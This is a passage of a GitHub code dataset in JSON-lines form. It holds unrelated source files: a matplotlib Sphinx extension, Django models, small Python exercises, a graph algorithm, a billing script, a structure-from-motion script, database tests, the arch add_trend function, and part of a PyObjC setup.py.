['-fecha']","repo_name":"MiltonVelazquez/app_empleo","sub_path":"apps/mensajes/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7953707037","text":"from urllib.parse import urlsplit, urlunsplit\n\nfrom docutils import nodes\n\nfrom matplotlib import rcParamsDefault\n\n\nclass QueryReference(nodes.Inline, nodes.TextElement):\n \"\"\"\n Wraps a reference or pending reference to add a query string.\n\n The query string is generated from the attributes added to this node.\n\n Also equivalent to a `~docutils.nodes.literal` node.\n \"\"\"\n\n def to_query_string(self):\n \"\"\"Generate query string from node attributes.\"\"\"\n return '&'.join(f'{name}={value}' for name, value in self.attlist())\n\n\ndef visit_query_reference_node(self, node):\n \"\"\"\n Resolve *node* into query strings on its ``reference`` children.\n\n Then act as if this is a `~docutils.nodes.literal`.\n \"\"\"\n query = node.to_query_string()\n for refnode in node.findall(nodes.reference):\n uri = urlsplit(refnode['refuri'])._replace(query=query)\n refnode['refuri'] = urlunsplit(uri)\n\n self.visit_literal(node)\n\n\ndef depart_query_reference_node(self, node):\n \"\"\"\n Act as if this is a `~docutils.nodes.literal`.\n \"\"\"\n self.depart_literal(node)\n\n\ndef rcparam_role(name, rawtext, text, lineno, inliner, options={}, content=[]):\n # Generate a pending cross-reference so that Sphinx will ensure this link\n # isn't broken at some point in the future.\n title = f'rcParams[\"{text}\"]'\n target = 'matplotlibrc-sample'\n ref_nodes, messages = inliner.interpreted(title, f'{title} <{target}>',\n 'ref', lineno)\n\n qr = QueryReference(rawtext, highlight=text)\n qr += ref_nodes\n node_list = [qr]\n\n # The default backend would be printed as \"agg\", but that's not correct (as\n # the default is actually determined by fallback).\n if text in rcParamsDefault and text != \"backend\":\n node_list.extend([\n nodes.Text(' (default: '),\n nodes.literal('', repr(rcParamsDefault[text])),\n nodes.Text(')'),\n ])\n\n return node_list, messages\n\n\ndef setup(app):\n app.add_role(\"rc\", rcparam_role)\n app.add_node(\n QueryReference,\n html=(visit_query_reference_node, depart_query_reference_node),\n latex=(visit_query_reference_node, depart_query_reference_node),\n text=(visit_query_reference_node, depart_query_reference_node),\n )\n return {\"parallel_read_safe\": True, \"parallel_write_safe\": True}\n","repo_name":"matplotlib/matplotlib","sub_path":"doc/sphinxext/custom_roles.py","file_name":"custom_roles.py","file_ext":"py","file_size_in_byte":2394,"program_lang":"python","lang":"en","doc_type":"code","stars":18437,"dataset":"github-code","pt":"5"} +{"seq_id":"70078087832","text":"from django.contrib.gis.db import models\nfrom bims.models import BiologicalCollectionRecord, BiologicalCollectionManager\nfrom sass.models import SiteVisit, TaxonAbundance\n\n\nclass SiteVisitTaxon(BiologicalCollectionRecord):\n site_visit = models.ForeignKey(\n SiteVisit,\n on_delete=models.CASCADE,\n null=False,\n blank=False\n )\n\n taxon_abundance = models.ForeignKey(\n TaxonAbundance,\n on_delete=models.SET_NULL,\n null=True,\n blank=True\n )\n\n sass_taxon = models.ForeignKey(\n 'sass.SassTaxon',\n on_delete=models.CASCADE,\n null=True,\n blank=True\n )\n\n objects = BiologicalCollectionManager()\n\n def save(self, *args, **kwargs):\n owner = self.owner\n if owner and owner.username == self.collector:\n self.collector = '{0} {1}'.format(\n owner.first_name,\n owner.last_name)\n super(SiteVisitTaxon, self).save(*args, **kwargs)\n\n class Meta:\n verbose_name_plural = \"Site visit taxa\"\n","repo_name":"kartoza/django-bims","sub_path":"sass/models/site_visit_taxon.py","file_name":"site_visit_taxon.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"5"} +{"seq_id":"32500984805","text":"'''\nExercício Python 5: Faça um programa que leia um número Inteiro\ne mostre na tela o seu sucessor e seu antecessor.\n'''\n\n\nnum = int(input('Digite um numero para ver o seu sucessor e antecessor: '))\n\nsucessor = num + 1\nantecessor = num - 1\n\nprint('O sucessor de %d é %d' %(num,sucessor))\nprint('O antecessor de %d é %d' %(num,antecessor))","repo_name":"Giovanni001/Programas-em-Python","sub_path":"Ex005-Antecessor e Sucessor.py","file_name":"Ex005-Antecessor e Sucessor.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"pt","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"12258428046","text":"def closest_mod_5(x):\r\n if x % 5 == 0:\r\n return x\r\n return x + (5 - x % 5)\r\n\r\n\r\ncases = [\r\n # expected, input\r\n [5, 5],\r\n [15, 13],\r\n [0, 0],\r\n [0, -1],\r\n [-15, -16]\r\n]\r\n\r\nfor i in cases:\r\n expected, inp = i\r\n res = closest_mod_5(inp)\r\n assert expected == res, 'Fail. Expected: {}\\nActual: {}'.format(expected, res)\r\n","repo_name":"hanna-tsybii/hanna_tsybii","sub_path":"homework_6_1(2)_Tsybii.py","file_name":"homework_6_1(2)_Tsybii.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40665495165","text":"from typing import List\n\n\nclass Solution:\n def findTheCity(self, n: int, edges: List[List[int]], distanceThreshold: int) -> int:\n dist = [[10 ** 9] * n for _ in range(n)]\n for i in range(n):\n dist[i][i] = 0\n for edge in edges:\n x = edge[0]\n y = edge[1]\n z = edge[2]\n dist[x][y] = dist[y][x] = z\n\n for k in range(n):\n for i in range(n):\n for j in range(n):\n dist[i][j] = min(dist[i][j], dist[i][k] + dist[k][j])\n min_neighbour = 10 ** 9\n ans = 0\n for i in range(n):\n neighbour = 0\n for j in range(n):\n if dist[i][j] <= distanceThreshold:\n neighbour += 1\n if neighbour <= min_neighbour:\n ans = i\n min_neighbour = neighbour\n return ans\n","repo_name":"wakalubiubiu/algorithm2021","sub_path":"week_08/findTheCity.py","file_name":"findTheCity.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20083890912","text":"from sys import argv\r\n\r\ndef main():\r\n # Taking Input From user\r\n if len(argv) != 2:\r\n raise Exception(\"File path not entered\")\r\n user_file = argv[1]\r\n f = open(user_file, 'r')\r\n lines = f.readlines()\r\n\r\n\r\n\r\n\r\n #Stocks Information \r\n objectList={\t'TSHIRT':{'Category':'Clothing','Price':1000,'Discount':0.1},'JACKET':{'Category':'Clothing','Price':2000,'Discount':0.05},'CAP':{'Category':'Clothing','Price':500,'Discount':0.2},'NOTEBOOK':{'Category':'Stationery','Price':200,'Discount':0.2},'PENS':{'Category':'Stationery','Price':300,'Discount':0.1},'MARKERS':{'Category':'Stationery','Price':500,'Discount':0.05}\t}\r\n cart={}\r\n addItem=['ADD_ITEM']\r\n printItem=['PRINT_BILL']\r\n maxItems={'Clothing':2,'Stationery':3}\r\n \r\n for line in lines:\r\n #split the line into commands\r\n command=line.split(' ')\r\n for i in range(len(command)):\r\n \tcommand[i]=''.join(command[i].split())\r\n \r\n #Adding to cart\r\n if(command[0] in addItem):\r\n \tcart.setdefault(command[1],0)\r\n \ttemp=cart[command[1]]+int(command[2])\r\n \tif(temp>maxItems[objectList[command[1]]['Category']]):\r\n\r\n\r\n \t\t#quantity exceed only 3 quantity needed\r\n \t\tprint('ERROR_QUANTITY_EXCEEDED')\r\n \telse:\r\n \t\tcart[command[1]]+=int(command[2])\r\n \t\tprint('ITEM_ADDED')\r\n \r\n #calculating and printing the bill\r\n elif(command[0] in printItem):\r\n \ttotal=0\r\n \tdiscount=0\r\n \toutput = ''\r\n \tfor item in cart:\r\n \t\tdiscount=discount+((objectList[item]['Discount']*objectList[item]['Price'])*cart[item])\r\n \t\ttotal=total+(objectList[item]['Price']*cart[item])\r\n \tif(total>=1000):\r\n \t\ttotal=total-discount\r\n \telse:\r\n \t\tdiscount=0\r\n \tif(total>=3000):\r\n \t\tdiscount+=total*0.05\r\n \t\ttotal=total-(total*0.05)\r\n \tprint('TOTAL_DISCOUNT '+str(\"%.2f\"%discount))\r\n \ttotal=total+(total*0.1)\r\n \tprint('TOTAL_AMOUNT_TO_PAY '+str(\"%.2f\"%total))\r\n \tcart.clear()\r\n \r\n #invaloid input\r\n else:\r\n \tprint('Invalid Command')\r\n \t\r\n \r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"rupeshkr8252/rupesh_oslash","sub_path":"rupesh.py","file_name":"rupesh.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"14510197371","text":"N = int(input())\n\nfor _ in range(N):\n \n n = int(input())\n sequence = list(map(int, input().split()))\n \n left = 0\n right = n - 1\n turn = 0\n while left <= right:\n \n if turn%2:\n print(sequence[right], end = ' ')\n right -= 1\n else:\n print(sequence[left], end = ' ')\n left +=1 \n turn += 1\n print()\n ","repo_name":"tedblackson/Competitive_Programming","sub_path":"CodeForces/Ungrouped Contests/A_Restore_the_Sequence.py","file_name":"A_Restore_the_Sequence.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25845588462","text":"import hashlib\n\nfrom PIL import Image\nfrom matplotlib.pyplot import *\nfrom numpy import *\nfrom numpy.linalg import *\n\nfrom ref import homography, camera\nfrom ref import sfm\nfrom ref import sift\nfrom util import get_sift_features\n\nif True:\n import os\n import pickle\n from mpl_toolkits.mplot3d import axes3d\n\n axes3d if False else None\n\n# ----------------------------------------------------\n# PREPARING FOR DATA\nK = array(\n [\n [2394, 0, 932],\n [0, 2398, 628],\n [0, 0, 1]\n ])\n\n# my K\nK = array(\n [\n [2555, 0, 2592//2],\n [0, 2586, 1936//2],\n [0, 0, 1]\n ])\n\ndata_dir = 'data'\nos.mkdir(data_dir) if not os.path.exists(data_dir) else None\nim1_name = '{}/alcatraz1.jpg'.format(data_dir)\nim2_name = '{}/alcatraz2.jpg'.format(data_dir)\nim1_name = '{}/DSC_2547.jpg'.format(data_dir)\nim2_name = '{}/DSC_2548.jpg'.format(data_dir)\n# -----------------------------------------------------\n\n# load images and compute features\nim1 = array(Image.open(im1_name))\nl1, d1 = get_sift_features(im1_name, is_cache=True)\n\nim2 = array(Image.open(im2_name))\nl2, d2 = get_sift_features(im2_name, is_cache=True)\n\n# match features\ncache_match = \"{}/match-{}.data\".format(data_dir, hashlib.md5(im1_name + im2_name).hexdigest())\nif not os.path.exists(cache_match):\n matches = sift.match_twosided(d1, d2)\n ndx = matches.nonzero()[0]\n\n with open(cache_match, 'w') as f:\n pickle.dump({'matches': matches, 'ndx': ndx}, f)\nelse:\n print('use cache match')\n with open(cache_match, 'r') as f:\n c_dic = pickle.load(f)\n matches, ndx = c_dic['matches'], c_dic['ndx']\n\nsift.plot_matches(im1, im2, l1, l2, matches)\nshow()\n\n# make homogeneous and normalize with inv(K)\nx1 = homography.make_homog(l1[ndx, :2].T)\nndx2 = [int(matches[i]) for i in ndx]\nx2 = homography.make_homog(l2[ndx2, :2].T)\nx1n = dot(inv(K), x1)\nx2n = dot(inv(K), x2)\n\n# estimate E with RANSAC, this module take time, so need cache\ncache_name = \"{}/ransac-{}.data\".format(data_dir, hashlib.md5(im1_name + im2_name).hexdigest())\nif not os.path.exists(cache_name):\n print('run RanSac, take time')\n model = sfm.RansacModel()\n E, inliers = sfm.F_from_ransac(x1n, x2n, model)\n\n with open(cache_name, 'w') as f:\n data_dic = {'model': model, 'E': E, 'inliers': inliers}\n pickle.dump(data_dic, f)\nelse:\n print('use RanSac cache')\n with open(cache_name, 'r') as f:\n data_dic = pickle.load(f)\n model, E, inliers = data_dic['model'], data_dic['E'], data_dic['inliers']\n\n# compute camera matrices (P2 will be list of four solutions)\nP1 = array([[1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 1, 0]])\nP2 = sfm.compute_P_from_essential(E)\n\n# ---------------------------------------------------------\n# pick the solution with points in front of cameras\nind = 0\nmaxres = 0\nfor i in range(4):\n # triangulate inliers and compute depth for each camera\n X = sfm.triangulate(x1n[:, inliers], x2n[:, inliers], P1, P2[i])\n d1 = dot(P1, X)[2]\n d2 = dot(P2[i], X)[2]\n if sum(d1 > 0) + sum(d2 > 0) > maxres:\n maxres = sum(d1 > 0) + sum(d2 > 0)\n ind = i\n infront = (d1 > 0) & (d2 > 0)\n\n# triangulate inliers and remove points not in front of both cameras\nX = sfm.triangulate(x1n[:, inliers], x2n[:, inliers], P1, P2[ind])\nX = X[:, infront]\n\n# --------------------------------------------------------------\n# 3D plot\nfig = figure()\nax = fig.gca(projection='3d')\nax.plot(-X[0], X[1], X[2], 'k.')\naxis('off')\n\n# ----------------------------------------------------------------\n# plot the projection of X\n# project 3D points\ncam1 = camera.Camera(P1)\ncam2 = camera.Camera(P2[ind])\nx1p = cam1.project(X)\nx2p = cam2.project(X)\n# reverse K normalization\nx1p = dot(K, x1p)\nx2p = dot(K, x2p)\nfigure()\nimshow(im1)\ngray()\n# plot(x1p[0], x1p[1], 'o')\n# plot(x1[0], x1[1], 'r.')\nplot(x1p[1], x1p[0], 'o')\nplot(x1[1], x1[0], 'r.')\naxis('off')\nfigure()\nimshow(im2)\ngray()\n# plot(x2p[0], x2p[1], 'o')\n# plot(x2[0], x2[1], 'r.')\nplot(x2p[1], x2p[0], 'o')\nplot(x2[1], x2[0], 'r.')\n\naxis('off')\nshow()\n","repo_name":"thanhhungqb/3d-vision","sub_path":"3d-structure-recover/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11187348062","text":"import sys; \nsys.path.append('../../src/fetch')\nsys.path.append('../../src/python')\nimport unittest\nfrom db import DatabaseGateway, DatabaseException\nfrom core import AppConfig, OsExpert, StringExpert\nimport os\nimport uuid\nimport time\nfrom app import App\n\nclass TestCase(unittest.TestCase):\n\tdef setUp(self):\n\t\tself.db = DatabaseGateway()\n\t\tpass\n\tdef tearDown(self):\n\t\tpass\n\tdef test_one_or_more_datasources_exist(self):\n\t\tframe = self.db.datasources_frame()\n\t\tself.assertFalse(frame.empty)\n\tdef test_datafetch_api_id_by_handler_filepath(self):\n\t\tfor i in range(1, 3): # ensure some data exists\n\t\t\tsome_guid = uuid.uuid4()\n\t\t\tid = self.db.datafetch_api_id_by_handler_filepath(\n\t\t\t\t'/some/filepath/{}'.format(some_guid), \n\t\t\t\tcreate_if_nonexisting = True\n\t\t\t\t)\n\t\tframe = self.db.datafetch_apis_frame()\n\t\tself.assertFalse(frame.empty)\n\t\tfor i, row in frame.iterrows():\n\t\t\thandler_filepath = row['handler_filepath']\n\t\t\tid = self.db.datafetch_api_id_by_handler_filepath(handler_filepath)\t\t\t\n\tdef test_datafetch_api_id_error_by_nonexisting_handler_filepath(self):\n\t\twith self.assertRaises(DatabaseException):\n\t\t\tid = self.db.datafetch_api_id_by_handler_filepath('/some/nonexisting/filepath')\t\t\t\n\tdef test_datafetch_api_id_create_by_nonexisting_handler_filepath(self):\n\t\tsome_guid = uuid.uuid4()\n\t\thandler_filepath = '/some/filepath/{}'.format(some_guid)\n\t\tinsert_id = self.db.datafetch_api_id_by_handler_filepath(handler_filepath, create_if_nonexisting = True)\n\t\tid = self.db.datafetch_api_id_by_handler_filepath(handler_filepath)\n\t\tself.assertEqual(insert_id, id)\n\tdef test_get_datasource_id_by_name(self):\n\t\tid = self.db.datasource_id_by_name('bitcoincharts')\n\t\tself.assertEqual(id, 1)\n\tdef test_one_or_more_currencies_exist(self):\n\t\tself.assertFalse(\n\t\t\tself.db.currencies_frame().empty\n\t\t\t)\n\tdef test_one_or_more_exchanges_exist_using_frame(self):\n\t\tself.assertFalse(\n\t\t\tself.db.exchanges_frame().empty\n\t\t\t)\n\tdef test_one_or_more_exchanges_exist(self):\n\t\tself.assertGreater(\n\t\t\tlen(self.db.exchanges()), 0\n\t\t\t)\n\tdef test_exchange_id_by_name(self):\n\t\tself.assertEqual(\n\t\t\tself.db.exchange_id_by_name('bitstamp'), 1\n\t\t\t)\n\tdef test_get_currency_id_by_code(self):\n\t\tself.assertEqual(\n\t\t\tself.db.currency_id_by_code('USD'), 1\n\t\t\t)\n\tdef test_get_crypto_transactions(self):\n\t\tself.db.transactions()\n\tdef test_create_datafetch_api_response(self):\n\t\tresponse_text = 'some unique text {}'.format(uuid.uuid4())\n\t\thandler_filepath = '/some/filepath/{}'.format(uuid.uuid4())\n\t\tdatafetch_api_id = self.db.datafetch_api_id_by_handler_filepath(handler_filepath, create_if_nonexisting = True)\n\t\tdatafetch_api_id = self.db.create_datafetch_api_response({\n\t\t\t\t'datafetch_api_id': datafetch_api_id,\n\t\t\t\t'datasource_id': 1,\n\t\t\t\t'exchange_id': 1,\n\t\t\t\t'from_currency_id': 1,\n\t\t\t\t'to_currency_id': 1,\n\t\t\t\t'response': response_text,\n\t\t\t\t'response_md5hash': StringExpert.md5hash(response_text)\n\t\t\t})\n\t\tself.assertGreater(datafetch_api_id, 0)\n\tdef test_one_or_more_datasources_exist(self):\n\t\tl = self.db.datasources()\n\t\tself.assertGreater(len(l), 0)\n\tdef test_one_or_more_currencies_exist(self):\n\t\tl = self.db.currencies()\n\t\tself.assertGreater(len(l), 0)\n\tdef test_create_transaction(self):\n\t\tcurrent_time_epoch = int(time.time())\n\t\ttransaction_id = self.db.create_transaction({\n\t\t\t\t'datasource_id': 1,\n\t\t\t\t'exchange_id': 1,\n\t\t\t\t'amount': 12.45,\n\t\t\t\t'price': 67.89,\n\t\t\t\t'from_currency_id': 1,\n\t\t\t\t'to_currency_id': 1,\n\t\t\t\t'volume': None,\n\t\t\t\t'volume_percent': None,\n\t\t\t\t'source_md5hash': StringExpert.md5hash(str(current_time_epoch)),\n\t\t\t\t'epoch_time': current_time_epoch\n\t\t\t})\n\t\tself.assertGreater(transaction_id, 0)\n\t\tprint(transaction_id)\n\t\tprint(self.db.transactions())\nif __name__ == '__main__':\n\tparent_dirpath = OsExpert.path_backstep(__file__, backsteps=2) \n\tApp.initialize_in_dir(parent_dirpath)\n\tunittest.main()\n \n","repo_name":"runestate/cryptrade","sub_path":"test/fetch.test/db.test.py","file_name":"db.test.py","file_ext":"py","file_size_in_byte":3799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16107073017","text":"\"\"\"DiffSync model class definitions for nautobot-ssot-device42.\"\"\"\n\nfrom nautobot_ssot.integrations.device42.diffsync.models.base.assets import (\n PatchPanel,\n PatchPanelFrontPort,\n PatchPanelRearPort,\n)\nfrom nautobot_ssot.integrations.device42.diffsync.models.base.circuits import Circuit, Provider\nfrom nautobot_ssot.integrations.device42.diffsync.models.base.dcim import (\n Building,\n Cluster,\n Connection,\n Device,\n Hardware,\n Port,\n Rack,\n Room,\n Vendor,\n)\nfrom nautobot_ssot.integrations.device42.diffsync.models.base.ipam import VLAN, IPAddress, Subnet, VRFGroup\nfrom nautobot_ssot.integrations.device42.diffsync.models.nautobot.assets import (\n NautobotPatchPanel,\n NautobotPatchPanelFrontPort,\n NautobotPatchPanelRearPort,\n)\nfrom nautobot_ssot.integrations.device42.diffsync.models.nautobot.circuits import NautobotCircuit, NautobotProvider\nfrom nautobot_ssot.integrations.device42.diffsync.models.nautobot.dcim import (\n NautobotBuilding,\n NautobotCluster,\n NautobotConnection,\n NautobotDevice,\n NautobotHardware,\n NautobotPort,\n NautobotRack,\n NautobotRoom,\n NautobotVendor,\n)\n\n__all__ = (\n \"PatchPanel\",\n \"PatchPanelFrontPort\",\n \"PatchPanelRearPort\",\n \"Provider\",\n \"Circuit\",\n \"Building\",\n \"Room\",\n \"Rack\",\n \"Vendor\",\n \"Hardware\",\n \"Cluster\",\n \"Device\",\n \"Port\",\n \"Connection\",\n \"VRFGroup\",\n \"Subnet\",\n \"IPAddress\",\n \"VLAN\",\n \"NautobotCircuit\",\n \"NautobotProvider\",\n \"NautobotPatchPanel\",\n \"NautobotPatchPanelFrontPort\",\n \"NautobotPatchPanelRearPort\",\n \"NautobotBuilding\",\n \"NautobotCluster\",\n \"NautobotConnection\",\n \"NautobotDevice\",\n \"NautobotHardware\",\n \"NautobotPort\",\n \"NautobotRack\",\n \"NautobotRoom\",\n \"NautobotVendor\",\n)\n","repo_name":"nautobot/nautobot-plugin-ssot","sub_path":"nautobot_ssot/integrations/device42/diffsync/models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"5"} +{"seq_id":"71548467991","text":"from __future__ import annotations\n\nfrom typing import overload\n\nimport numpy as np\nimport pandas as pd\n\nfrom arch.typing import Float64Array, Literal, NDArrayOrFrame\n\n\nclass ColumnNameConflict(Warning):\n pass\n\n\ncolumn_name_conflict_doc: str = \"\"\"\nSome of the column named being added were not unique and have been renamed.\n\n {0}\n\"\"\"\n\n\ndef _enforce_unique_col_name(existing: list[str], new: list[str]) -> list[str]:\n converted_names = []\n unique_names = list(new[:])\n for i, n in enumerate(new):\n if n in existing:\n original_name = n\n fixed_name = n\n duplicate_count = 0\n while fixed_name in existing:\n fixed_name = n + \"_\" + str(duplicate_count)\n duplicate_count += 1\n unique_names[i] = fixed_name\n converted_names.append(f\"{original_name} -> {fixed_name}\")\n if converted_names:\n import warnings\n\n ws = column_name_conflict_doc.format(\"\\n \".join(converted_names))\n warnings.warn(ws, ColumnNameConflict)\n\n return unique_names\n\n\n@overload\ndef add_trend(\n x: None = ...,\n trend: Literal[\"n\", \"c\", \"t\", \"ct\", \"ctt\"] = ...,\n prepend: bool = ...,\n nobs: int = ...,\n has_constant: Literal[\"raise\", \"add\", \"skip\"] = ...,\n) -> Float64Array:\n ... # pragma: no cover\n\n\n@overload\ndef add_trend(\n x: Float64Array,\n trend: Literal[\"n\", \"c\", \"t\", \"ct\", \"ctt\"] = ...,\n prepend: bool = ...,\n nobs: None = ...,\n has_constant: Literal[\"raise\", \"add\", \"skip\"] = ...,\n) -> Float64Array:\n ... # pragma: no cover\n\n\n@overload\ndef add_trend(\n x: pd.DataFrame,\n trend: Literal[\"n\", \"c\", \"t\", \"ct\", \"ctt\"] = ...,\n prepend: bool = ...,\n nobs: None = ...,\n has_constant: Literal[\"raise\", \"add\", \"skip\"] = ...,\n) -> pd.DataFrame:\n ... # pragma: no cover\n\n\ndef add_trend(\n x: NDArrayOrFrame | None = None,\n trend: Literal[\"n\", \"c\", \"t\", \"ct\", \"ctt\"] = \"c\",\n prepend: bool = False,\n nobs: int | None = None,\n has_constant: Literal[\"raise\", \"add\", \"skip\"] = \"skip\",\n) -> Float64Array | pd.DataFrame:\n \"\"\"\n Adds a trend and/or constant to an array.\n\n Parameters\n ----------\n x : {ndarray, DataFrame}\n Original array of data. If None, then nobs must be a positive integer\n trend : str {\"n\", \"c\",\"t\",\"ct\",\"ctt\"}\n The trend(s) to add. Supported options are:\n\n * \"n\" no trend (no-op)\n * \"c\" add constant only\n * \"t\" add trend only\n * \"ct\" add constant and linear trend\n * \"ctt\" add constant and linear and quadratic trend.\n prepend : bool\n If True, prepends the new data to the columns of x.\n nobs : int, positive\n Positive integer containing the length of the trend series. Only used\n if x is none.\n has_constant : str {'raise', 'add', 'skip'}\n Controls what happens when trend is 'c' and a constant already\n exists in X. 'raise' will raise an error. 'add' will duplicate a\n constant. 'skip' will return the data without change. 'skip' is the\n default.\n\n Notes\n -----\n Returns columns as [\"ctt\",\"ct\",\"t\",\"c\"] whenever applicable. There is\n currently no checking for an existing trend.\n \"\"\"\n if trend not in (\"n\", \"c\", \"ct\", \"ctt\", \"t\"):\n raise ValueError(f\"trend {trend} not understood\")\n trend_name = trend.lower()\n if (x is None and nobs is None) or (x is not None and nobs is not None):\n raise ValueError(\"One and only one of x or nobs must be provided.\")\n if trend_name == \"n\":\n if x is not None:\n return x\n assert nobs is not None\n return np.empty((nobs, 0))\n elif trend_name == \"c\":\n trend_order = 0\n elif trend_name == \"ct\" or trend_name == \"t\":\n trend_order = 1\n else: # trend_name == \"ctt\":\n trend_order = 2\n\n if x is not None:\n nobs = len(np.asanyarray(x))\n elif nobs is None or nobs <= 0:\n raise ValueError(\"nobs must be a positive integer if x is None\")\n trend_array = np.vander(np.arange(1, nobs + 1, dtype=np.float64), trend_order + 1)\n # put in order ctt\n trend_array = np.fliplr(trend_array)\n if trend_name == \"t\":\n trend_array = trend_array[:, 1:]\n # check for constant\n if x is None:\n return np.asarray(trend_array, dtype=float)\n x_array = np.asarray(x)\n if \"c\" in trend_name and np.any(\n np.logical_and(np.ptp(x_array, axis=0) == 0, np.all(x_array != 0, axis=0))\n ):\n if has_constant == \"raise\":\n raise ValueError(\"x already contains a constant\")\n elif has_constant == \"add\":\n pass\n elif has_constant == \"skip\" and trend in (\"c\", \"ct\", \"ctt\"):\n trend_array = trend_array[:, 1:]\n if isinstance(x, pd.DataFrame):\n columns: list[str] = [\"const\", \"trend\", \"quadratic_trend\"]\n if trend_name == \"t\":\n columns = [columns[1]]\n else:\n columns = columns[0 : trend_order + 1]\n columns = _enforce_unique_col_name([str(col) for col in x.columns], columns)\n trend_array_df = pd.DataFrame(trend_array, index=x.index, columns=columns)\n if prepend:\n x = trend_array_df.join(x)\n else:\n x = x.join(trend_array_df)\n else:\n if prepend:\n x = np.column_stack((trend_array, x))\n else:\n x = np.column_stack((x, trend_array))\n assert x is not None\n return x\n","repo_name":"bashtage/arch","sub_path":"arch/utility/timeseries.py","file_name":"timeseries.py","file_ext":"py","file_size_in_byte":5445,"program_lang":"python","lang":"en","doc_type":"code","stars":1184,"dataset":"github-code","pt":"5"} +{"seq_id":"36753280125","text":"#!/usr/bin/env python\n\nimport sys\nimport subprocess\nimport shutil\nimport re\nimport os\n\n# We need at least Python 2.5\nMIN_PYTHON = (2, 5)\n\n# FIXME: autodetect default values for USE_* variables:\n# both should be false by default, unless\n# 1) python is /usr/bin/python: both should be true\n# 2) python build with --with-system-libffi: USE_SYSTEM_FFI\n# should be true.\n\n# Set USE_SYSTEM_FFI to True to link to the system version\n# of libffi\nUSE_SYSTEM_FFI = True\n\n# Set USE_SYSTEM_LIBXML to True to link to the system version\n# of libxml2 (defaults to False to avoid problems when building\n# on 10.6 and running on an earlier release)\nUSE_SYSTEM_LIBXML = True\n\nSDKROOT = os.environ.get('SDKROOT')\nif SDKROOT is None or SDKROOT is '':\n SDKROOT = '/'\ndef fixsdk(arg):\n if arg.startswith('-I/'):\n arg = '-I' + os.path.join(SDKROOT, arg[3:])\n elif arg.startswith('-L/'):\n arg = '-L' + os.path.join(SDKROOT, arg[3:])\n return arg\n\nif sys.version_info < MIN_PYTHON:\n vstr = '.'.join(map(str, MIN_PYTHON))\n raise SystemExit('PyObjC: Need at least Python ' + vstr)\n\n\ntry:\n import setuptools\n\nexcept ImportError:\n import distribute_setup\n distribute_setup.use_setuptools()\n\n\nextra_args=dict(\n use_2to3 = True,\n)\n\nfrom setuptools.command import build_py\nfrom setuptools.command import test\nfrom distutils import log\nclass oc_build_py (build_py.build_py):\n def run_2to3(self, files, doctests=True):\n files = [ fn for fn in files if not os.path.basename(fn).startswith('test3_') ]\n build_py.build_py.run_2to3(self, files, doctests)\n\n def build_packages(self):\n log.info(\"Overriding build_packages to copy PyObjCTest\") \n p = self.packages\n self.packages = list(self.packages) + ['PyObjCTest']\n try:\n build_py.build_py.build_packages(self)\n finally:\n self.packages = p\n\nfrom pkg_resources import working_set, normalize_path, add_activation_listener, require\n\nclass oc_test (test.test):\n def run_tests(self):\n import sys, os\n\n if sys.version_info[0] == 3:\n rootdir = os.path.dirname(os.path.abspath(__file__))\n if rootdir in sys.path:\n sys.path.remove(rootdir)\n\n ei_cmd = self.get_finalized_command('egg_info')\n egg_name = ei_cmd.egg_name.replace('-', '_')\n\n to_remove = []\n for dirname in sys.path:\n bn = os.path.basename(dirname)\n if bn.startswith(egg_name + \"-\"):\n to_remove.append(dirname)\n\n for dirname in to_remove:\n log.info(\"removing installed %r from sys.path before testing\"%(dirname,))\n sys.path.remove(dirname)\n\n from PyObjCTest.loader import makeTestSuite\n import unittest\n\n #import pprint; pprint.pprint(sys.path)\n \n unittest.main(None, None, [unittest.__file__]+self.test_args)\n\nfrom setuptools.command import egg_info as orig_egg_info\n\ndef write_header(cmd, basename, filename):\n data = open(os.path.join('Modules/objc/', os.path.basename(basename)), 'rU').read()\n if not cmd.dry_run:\n if not os.path.exists(os.path.dirname(filename)):\n os.makedirs(os.path.dirname(filename))\n\n cmd.write_file(basename, filename, data)\n\n\n# This is a workaround for a bug in setuptools: I'd like\n# to use the 'egg_info.writers' entry points in the setup()\n# call, but those don't work when also using a package_base\n# argument as we do.\n# (issue 123 in the distribute tracker)\nclass egg_info (orig_egg_info.egg_info):\n def run(self):\n orig_egg_info.egg_info.run(self)\n\n for hdr in (\"pyobjc-compat.h\", \"pyobjc-api.h\"):\n fn = os.path.join(\"include\", hdr)\n\n write_header(self, fn, os.path.join(self.egg_info, fn))\n\nif sys.version_info[0] == 3:\n # FIXME: add custom test command that does the work.\n # - Patch sys.path\n # - Ensure PyObjCTest gets translated by 2to3\n from distutils.util import get_platform\n build_dir = 'build/lib.%s-%d.%d'%(\n get_platform(), sys.version_info[0], sys.version_info[1])\n if hasattr(sys, 'gettotalrefcount'):\n build_dir += '-pydebug'\n sys.path.insert(0, build_dir)\n\n\nimport os\nimport glob\nimport site\nimport platform\n\nif 'MallocStackLogging' in os.environ:\n del os.environ['MallocStackLogging']\nif 'MallocStackLoggingNoCompact' in os.environ:\n del os.environ['MallocStackLoggingNoCompact']\n\n# See the news 